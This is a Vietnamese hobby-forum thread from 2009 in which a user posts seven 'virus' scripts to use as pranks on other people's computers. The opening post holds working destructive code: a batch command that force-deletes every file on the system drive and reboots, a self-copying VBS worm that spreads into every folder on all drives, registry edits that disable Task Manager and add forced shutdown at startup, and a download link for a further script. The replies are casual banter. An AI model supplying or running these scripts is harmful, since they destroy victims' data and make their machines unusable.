Phong Cach PRO
IndexIndex    Trợ giúpTrợ giúp  Tìm kiếmTìm kiếm  Thành viênThành viên  NhómNhóm  Đăng kýĐăng ký  Đăng Nhập  
CHÀO MỪNGBẠN ĐÃ GHÉ THĂM CỘNG ĐỒNG GAME VIỆTHTTP://ÇBA4.US.TO CHÚC BẠN VUI VẼTHẾ GIỚI CŨA LŨ QUỸ

Share | 
Một trò chơi với virusXem chủ đề cũ hơn Xem chủ đề mới hơn Go down
23/11/2009, 20:00

Thành viên PC

Barack Obama

»~åd¶v¶Îñ~»
 »~åd¶v¶Îñ~»
Tổng số bài gửi : 161
Danh tiếng : 0
gia nhập : 23/11/2009
VNĐ VNĐ : 128287
Đồ khủng

Bài gửi Tiêu đề: Một trò chơi với virus

nếu bạn là 1 người rãnh
ko có việc gì làm
lại thích chọc phá
thì đây 1 số con virus để các bác quậy chơi.
mở notepad copy dòng lệnh và save lại dưới dạng .vbs

lưu ý: tất cả đều save lại dưới dạng .vbs. chỉ có con virus 3 là down về rùi xài luôn khỏi làm gì hết
virus 1:
tác dụng: xóa tất cả các file trog thư mục systemdriver và tắt máy

Code:
@ echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00
virus 2:
tác dụng: Nhân bản chính nó vào tất cả các thư mục của Windows, các thư mục trong ổ C:\ D:\ và E:\ và cả các thư mục con của nó. Nói chung là ổ cứng có bao nhiêu Folder thì con VR sẽ nhân bản lên bấy nhiêu lần và sau đó cho vào 1 Folder 1 bản.

Code:
[color=black]'Thuoc Doc[/color] !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:\")
FolderList("B:\")
FolderList("C:\")
FolderList("D:\")
FolderList("E:\")
FolderList("F:\")
FolderList("G:\")
FolderList("H:\")
FolderList("I:\")
FolderList("J:\")
FolderList("K:\")
FolderList("L:\")
FolderList("M:\")
FolderList("N:\")
FolderList("O:\")
FolderList("P:\")
FolderList("Q:\")
FolderList("R:\")
FolderList("S:\")
FolderList("T:\")
FolderList("U:\")
FolderList("V:\")
FolderList("X:\")
FolderList("Y:\")
FolderList("Z:\")
FolderList("W:\")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\[color=red]ban da dinh virus ! hay tat may ngay[/color].vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---[color=red]ban da dinh virus ! hay tat may ngay[/color].vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub
save lại với tên: Thuoc_Doc.vbs
và đây là để xóa con virus này

Code:
'Thuoc Giai
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:\")
FolderList("B:\")
FolderList("C:\")
FolderList("D:\")
FolderList("E:\")
FolderList("F:\")
FolderList("G:\")
FolderList("H:\")
FolderList("I:\")
FolderList("J:\")
FolderList("K:\")
FolderList("L:\")
FolderList("M:\")
FolderList("N:\")
FolderList("O:\")
FolderList("P:\")
FolderList("Q:\")
FolderList("R:\")
FolderList("S:\")
FolderList("T:\")
FolderList("U:\")
FolderList("V:\")
FolderList("X:\")
FolderList("Y:\")
FolderList("Z:\")
FolderList("W:\")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP,ATT
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
'Set COP=fso.CreateTextFile(f1.path & "\[color=red]ban da dinh virus ! hay tat may ngay[/color].vbs")
'COP.write VBCopy
'Set CAP=fso.CreateTextFile(f1.path & "---[color=red]ban da dinh virus ! hay tat may ngay[/color].vbs")
'CAP.write VBCopy
'Set ATT=fso.GetFolder(f1.Path)
'ATT.Attributes=ATT.Attributes+2
fso.DeleteFile(f1.path & "\[color=red]ban da dinh virus ! hay tat may ngay[/color].vbs")
fso.DeleteFile(f1.path & "---[color=red]ban da dinh virus ! hay tat may ngay[/color].vbs")
FolderList(f1.Path)
Next
End sub
save lại với tên Thuoc_Giai.vbs


virus 3:
tác dụng:kua gái ! hơi ngộ nhưng thật ra là vậy. khi victim click vào nó sẽ hiện ra cái bảng và muốn biết nó ra sao về nhà test thử sẽ bik

link down

http://www.mediafire.com/?tzjztqrczjm

virus 4:
tác dụng: hiển thị 1 dòng lệnh khi click vào file or folder

Code:
set reg=createobject("WScript.shell")
reg.regwrite "HKEY_CLASSES_ROOT\*\Shell\\","ban da bi toi khong che! mau tat may"
reg.regwrite "HKEY_CLASSES_ROOT\folder\shell\ban da bi toi khong che! mau tat may"

virus 5:
tác dụng: không cho khởi động máy

Code:
Dim wsh
Set wsh = createobject("wscript.shell")
wsh.run "RUNDLL32.EXE user.exe,exitwindows

virus 6
tác dụng:hiển thị 1 dòng lệnh mỗi khi khởi động máy

Code:
dim wsh
Set wsh = CreateObject( "WScript.Shell" )
s1 = "HKLM\Software\Microsoft\Windows\CurrentVersio n\Wi n Logon\"
s2 = "LegalNoticeCaption"
s3 = "LegalNoticeText"

virus 7:
tác dụng: tắt explorer và tắt máy sau 5s

Code:
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Run" /v shutdown /t REG_SZ /d "shutdown.exe -f -s -t 05" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System" /v DisableTaskmgr /t REG_DWORD /d 1 /f
cls
copy thelove.bat "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\"
cls
taskkill /f /im explorer.exe
cls
shutdown.exe -f -s -t 05 -c ".....error...."
cls
@echo off
echo Warning!!!!!!!!May Tinh Cua Ban Da Bi Nhiem Virus Bat Diet !!!!!!!!!
echo GOOD BYE SEE YOU AGAIN
pause
del thelove.bat
các bạn có thể điều chỉnh thời gian tắt máy trong dòng "shutdown.exe -f -s -t 05 -c ".....error....""

số 05 đấy thấy ko. có thể thay đổi lại, tùy vào lòng nhân từ của bạn thôi!


Ghi Chú : những chố sky vík màu đó thì các bạn có thể đổi câu khác để thêm phần hấp dẩn

«~coppy đường link này gửi đến bạn bè để ũng hộ diễn đàn~»
http://cba4.us.to/t26-topic



Về Đầu Trang Go down
Xem lý lịch thành viên
23/11/2009, 20:04

Thành viên PC

kibu_friendly

»~åd¶v¶Îñ~»
 »~åd¶v¶Îñ~»
Tổng số bài gửi : 92
Danh tiếng : 0
Birthday : 23/12/1993
gia nhập : 21/11/2009
tui~ : 22
đến tùThiên đường gọi tên
VNĐ VNĐ : 1000004270
Đồ khủng

Bài gửi Tiêu đề: Re: Một trò chơi với virus

chơi xong dụt máy chứ đâu ^^ /zzzz/ /zzz/

«~coppy đường link này gửi đến bạn bè để ũng hộ diễn đàn~»
http://cba4.us.to/t26-topic



Về Đầu Trang Go down
Xem lý lịch thành viên http://cba4.us.to
24/11/2009, 09:09

Thành viên PC

Iga (=^^=) Phó Admin

»~¶v¶EmBeR~vÎp~»
 »~¶v¶EmBeR~vÎp~»
Tổng số bài gửi : 101
Danh tiếng : 0
Birthday : 30/05/1993
gia nhập : 21/11/2009
tui~ : 23
đến tù[X]CBa4_//_ Iga _//_ Với Iga không gì là không thể
VNĐ VNĐ : 6261
Đồ khủngĐang đi siu thị gom hàng!

Bài gửi Tiêu đề: Re: Một trò chơi với virus

Có thử nghiệm trên máy trước chưa Obama? Đưa hình minh họa đi! Hình ở máy của Obama càng tốt! /zz/ /zz/ /zz/ /zz/ /zz/ /zz/ /zz/ /zz/

«~coppy đường link này gửi đến bạn bè để ũng hộ diễn đàn~»
http://cba4.us.to/t26-topic



Về Đầu Trang Go down
Xem lý lịch thành viên http://cba4tpcl.forumr.biz
24/11/2009, 09:13

Thành viên PC

Barack Obama

»~åd¶v¶Îñ~»
 »~åd¶v¶Îñ~»
Tổng số bài gửi : 161
Danh tiếng : 0
gia nhập : 23/11/2009
VNĐ VNĐ : 128287
Đồ khủng

Bài gửi Tiêu đề: Re: Một trò chơi với virus

chơi xong máy vẩn chạy bt ..... chỉ lá số thủ thuật nhỏ ngừk ta cứ tưởng virus thui hehehe

cái nảy sao chụp lại hình đc, nếu muốn bík thì test thử đi

«~coppy đường link này gửi đến bạn bè để ũng hộ diễn đàn~»
http://cba4.us.to/t26-topic



Về Đầu Trang Go down
Xem lý lịch thành viên
26/11/2009, 20:20

Thành viên PC

Iga (=^^=) Phó Admin

»~¶v¶EmBeR~vÎp~»
 »~¶v¶EmBeR~vÎp~»
Tổng số bài gửi : 101
Danh tiếng : 0
Birthday : 30/05/1993
gia nhập : 21/11/2009
tui~ : 23
đến tù[X]CBa4_//_ Iga _//_ Với Iga không gì là không thể
VNĐ VNĐ : 6261
Đồ khủngĐang đi siu thị gom hàng!

Bài gửi Tiêu đề: Re: Một trò chơi với virus

Cái nì Obama sưa tầm trên mạng hay tự tìm zạ? 08

«~coppy đường link này gửi đến bạn bè để ũng hộ diễn đàn~»
http://cba4.us.to/t26-topic



Về Đầu Trang Go down
Xem lý lịch thành viên http://cba4tpcl.forumr.biz
26/11/2009, 20:26

Thành viên PC

Barack Obama

»~åd¶v¶Îñ~»
 »~åd¶v¶Îñ~»
Tổng số bài gửi : 161
Danh tiếng : 0
gia nhập : 23/11/2009
VNĐ VNĐ : 128287
Đồ khủng

Bài gửi Tiêu đề: Re: Một trò chơi với virus

Barack hỏk có thông minh đến nổi tự vík ra đc đâu, sưu tầm trên mạng ý

«~coppy đường link này gửi đến bạn bè để ũng hộ diễn đàn~»
http://cba4.us.to/t26-topic



Về Đầu Trang Go down
Xem lý lịch thành viên
Today at 07:46

Thành viên PC

Sponsored content


Bài gửi Tiêu đề: Re: Một trò chơi với virus


«~coppy đường link này gửi đến bạn bè để ũng hộ diễn đàn~»
http://cba4.us.to/t26-topic



Về Đầu Trang Go down
 

Một trò chơi với virus

Xem chủ đề cũ hơn Xem chủ đề mới hơn Về Đầu Trang 
Trang 1 trong tổng số 1 trang
Trả lời và bình luận cho bài viết này
* Viết tiếng Việt có dấu, là tôn trọng người đọc.
* Chia sẻ bài sưu tầm có ghi rõ nguồn, là tôn trọng người viết.
* Thực hiện những điều trên, là tôn trọng chính mình.
-Nếu chèn smilies có vấn đề thì bấm A/a trên phải khung viết bài
Permissions in this forum:Bạn không có quyền trả lời bài viết
● .::☻-‘๑’-(¯`•♥Thế Giới của lủ quỷ 11cba4♥ •´¯)-‘๑’-☻::.● :: ● ::☻-‘๑’-(¯`•Hội Quán Tin Học•´¯)-‘๑’-☻::● :: .::Thủ thuật-Mẹo vặt::.-

Free forum | © phpBB | Free forum support | Liên hệ | Report an abuse | Create a blog